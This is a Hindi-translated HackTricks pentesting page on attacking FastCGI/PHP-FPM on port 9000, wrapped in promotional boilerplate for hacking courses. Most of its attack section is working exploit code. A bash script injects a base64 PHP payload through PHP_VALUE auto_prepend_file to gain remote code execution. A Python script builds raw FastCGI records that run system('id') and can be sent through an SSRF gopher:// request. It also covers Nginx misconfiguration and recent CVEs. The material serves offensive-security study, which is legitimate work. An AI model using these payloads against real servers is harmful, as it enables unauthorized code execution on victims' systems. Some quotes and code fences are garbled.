9000 Pentesting FastCGI
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
यदि आप जानना चाहते हैं कि FastCGI क्या है तो निम्नलिखित पेज देखें:
disable_functions bypass - php-fpm/FastCGI
डिफ़ॉल्ट रूप से FastCGI port 9000 पर चलता है और nmap द्वारा पहचाना नहीं जाता है। आमतौर पर FastCGI केवल localhost पर ही सुनता है।
Enumeration / त्वरित जाँच
- Port scan:
nmap -sV -p9000 <target>(अक्सर “unknown” service दिखेगी; मैन्युअली टेस्ट करें). - Probe FPM status page:
SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000(default php-fpmpm.status_path). - Find reachable sockets via SSRF: यदि कोई HTTP सेवा SSRF के लिए शोषण के योग्य है, तो FastCGI listener तक पहुँचने के लिए
gopher://127.0.0.1:9000/_...payloads आज़माएँ. - Nginx misconfigs:
cgi.fix_pathinfo=1withfastcgi_split_path_infoerrors आपको static files में/.phpजोड़ने और PHP तक पहुँचने देती हैं (code exec via traversal).
RCE
FastCGI को arbitrary code execute करवाना काफी आसान है:
PHP payload को आगे जोड़ने वाला FastCGI request भेजें
```bash #!/bin/bashPAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path
HOST=$1 B64=$(echo “$PAYLOAD”|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT done
</details>
या आप निम्नलिखित python script का उपयोग भी कर सकते हैं: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
### SSRF/gopher to FastCGI (जब 9000 सीधे पहुँचा न जा सके)
यदि आपके पास केवल एक **SSRF** primitive है, तो आप gopher स्कीम का उपयोग करके FastCGI को हिट कर सकते हैं और एक पूरा FastCGI request तैयार कर सकते हैं। उदाहरण payload builder:
<details>
<summary>gopher FastCGI RCE payload बनाएं और भेजें</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"
def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator
payload += rec(5, body) # FCGI_STDIN
s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))
Convert payload to URL-safe base64/percent-encoding and send via gopher://host:9000/_<payload> in your SSRF.
हाल के मुद्दों पर नोट्स
- libfcgi <= 2.4.4 integer overflow (2024): FastCGI रिकॉर्ड्स में crafted
nameLen/valueLen32‑bit बिल्ड्स (embedded/IoT में आम) पर overflow कर सकते हैं, और जब FastCGI socket पहुँचने योग्य हो (प्रत्यक्ष रूप से या SSRF के माध्यम से) तो इससे heap RCE हो सकता है। - PHP-FPM log manipulation (CVE-2024-9026): जब
catch_workers_output = yesहो, FastCGI अनुरोध भेज सकने वाले हमलावर प्रति लॉग लाइन अधिकतम 4 बाइट तक truncate या inject कर सकते हैं ताकि संकेत मिटाए जा सकें या logs को poison किया जा सके। - Classic Nginx + cgi.fix_pathinfo misconfig: यह अभी भी व्यापक रूप से देखा जाता है; अगर
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;को file existence checks के बिना उपयोग किया जाए तो किसी भी.phpपर समाप्त होने वाले path का execution हो जाएगा, जिससे path traversal या source overwrite प्रकार के gadgets संभव हो जाते हैं।
संदर्भ
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


